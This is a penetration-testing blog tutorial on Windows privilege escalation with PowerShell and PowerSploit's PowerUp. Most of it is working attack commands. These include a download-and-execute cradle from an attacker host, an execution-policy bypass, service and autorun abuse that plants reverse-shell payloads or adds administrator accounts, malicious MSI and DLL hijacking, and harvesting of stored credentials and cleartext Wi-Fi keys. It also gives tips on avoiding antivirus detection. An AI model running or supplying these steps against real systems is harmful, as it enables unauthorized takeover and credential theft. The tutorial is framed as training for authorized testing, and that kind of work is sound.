Windows Privilege Escalation Using PowerShell

PowerShell is already on every modern Windows system, making it one of the most practical tools for privilege escalation during a penetration test. Combined with scripts like PowerUp.ps1 from the PowerSploit framework, you can quickly enumerate and exploit common misconfigurations without uploading additional binaries. This tutorial walks through the key techniques step by step.

Getting Started with PowerUp.ps1

PowerUp is a PowerShell script that automates the discovery of common Windows privilege escalation vectors. It is part of the PowerSploit project and has been a staple of Windows privilege escalation for years.

First, transfer PowerUp.ps1 to the target system. You can host it on your attack machine and download it:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/PowerUp.ps1')

Or if you have already transferred the file:

. .\PowerUp.ps1

If script execution is restricted, bypass the policy:

powershell -ep bypass -file PowerUp.ps1

Run the full enumeration:

Invoke-AllChecks

This single command checks for all the vulnerabilities we will cover below and produces a report. But understanding each check individually makes you a better tester, so let us dig into each one.

Service Misconfigurations

Windows services are programs that run in the background, often with SYSTEM privileges. Misconfigurations in how these services are set up can give us an escalation path.

Weak Service Permissions

If your user has permission to modify a service's configuration, you can change the binary path to point to your payload:

Get-ModifiableService

This checks every service to see if your current user can modify its configuration. If it finds one:

Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123'

This modifies the service to create a new local administrator account, then restores the original configuration. You can also set a custom command:

Invoke-ServiceAbuse -Name 'VulnService' -Command "net localgroup administrators hacker /add"

To check service permissions manually with sc and accesschk:

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
sc qc VulnService

Writable Service Binaries

Sometimes the service configuration is locked down, but the actual executable file has weak permissions:

Get-ModifiableServiceFile

If you can overwrite the service binary, replace it with your payload:

Install-ServiceBinary -Name 'VulnService'

Or manually:

copy C:\temp\reverse.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnService
sc start VulnService

Unquoted Service Paths

This is one of the most commonly tested privilege escalation vectors, and for good reason. When a service binary path contains spaces and is not enclosed in quotes, Windows tries to interpret it ambiguously.

Consider this unquoted path:

C:\Program Files\Vulnerable App\Service Binary\vuln.exe

Windows will try to execute these in order:

  1. C:\Program.exe
  2. C:\Program Files\Vulnerable.exe
  3. C:\Program Files\Vulnerable App\Service.exe
  4. C:\Program Files\Vulnerable App\Service Binary\vuln.exe

If you can write to any of those intermediate locations, you can place your payload there.

Enumerate unquoted service paths:

Get-UnquotedService

Or with a manual WMIC query:

wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

To exploit, place your executable at one of the intermediate paths:

Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vulnerable App\Service.exe'

Then restart the service (or wait for a reboot if the service starts automatically):

sc stop VulnService
sc start VulnService

Registry Autoruns with Weak Permissions

Programs that start automatically via registry keys are another escalation target. If the binary referenced by an autorun entry has weak file permissions, you can replace it.

Get-ModifiableRegistryAutoRun

This checks common autorun locations:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

For each autorun, it verifies whether you can modify the referenced binary. If you can:

copy C:\temp\payload.exe "C:\Program Files\AutoRunApp\updater.exe"

The payload executes next time the system starts (or when a user logs in, depending on the registry key).

AlwaysInstallElevated Check

This is a Windows group policy setting that, when enabled, allows any user to install MSI packages with SYSTEM privileges. It requires two registry keys to both be set to 1:

Get-RegistryAlwaysInstallElevated

Manual check:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1, you can create a malicious MSI and get SYSTEM execution. We cover this technique in depth in our dedicated AlwaysInstallElevated article.

Quick exploitation with PowerUp:

Write-UserAddMSI

This creates an MSI in the current directory that adds a local administrator when installed.

DLL Hijacking Opportunities

PowerUp can also identify DLL hijacking opportunities by checking the PATH for writable directories:

Find-PathDLLHijack

If any directories in the system PATH are writable by your user, you can place a malicious DLL there to be loaded by applications searching for DLLs.

Scheduled Tasks

Scheduled tasks that reference writable binaries are another vector:

Get-ModifiableScheduledTaskFile

This is similar to the service binary attack - if the scheduled task runs a program you can overwrite, replace it with your payload and wait for the task to execute.

Beyond PowerUp - Other Useful PowerShell Techniques

Credential Harvesting

Search for credentials stored in common locations:

# Saved credentials
cmdkey /list

# Unattend files
Get-ChildItem C:\ -Recurse -Filter "unattend.xml" -ErrorAction SilentlyContinue

# PowerShell history
Get-Content (Get-PSReadlineOption).HistorySavePath

# Wi-Fi passwords
netsh wlan show profiles | ForEach-Object {
    if ($_ -match "All User Profile\s+:\s+(.+)$") {
        netsh wlan show profile name="$($matches[1])" key=clear
    }
}

Quick System Enumeration

# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

# Running processes
Get-Process | Select-Object Name, Id, Path | Sort-Object Name

# Network connections
Get-NetTCPConnection | Where-Object State -eq 'Established'

Putting It All Together

A typical PowerShell privilege escalation workflow looks like this:

  1. Transfer and load PowerUp.ps1
  2. Run Invoke-AllChecks for a complete overview
  3. Review the output for exploitable findings
  4. Use the corresponding PowerUp exploitation function
  5. Verify escalation with whoami

The beauty of this approach is that PowerShell is a trusted, signed Microsoft binary. Using it for enumeration and exploitation is less likely to trigger antivirus alerts compared to uploading compiled tools.

Conclusion

PowerShell combined with PowerUp gives you a comprehensive privilege escalation toolkit that requires nothing beyond what Windows already provides. Master these techniques and you will have reliable escalation paths on the majority of Windows systems you encounter during penetration tests.

Practice on intentionally vulnerable machines like those on HackTheBox or VulnHub to build your confidence before using these techniques in real engagements.

HP
The HnP Team
Offensive Security Researchers
HacknPentest is a collective of penetration testers and bug bounty hunters sharing practical offensive security knowledge. Combined experience includes corporate red team engagements, bug bounty programs on HackerOne and Bugcrowd, and OSCP/OSCE certifications. All techniques demonstrated are for authorized testing and educational purposes only.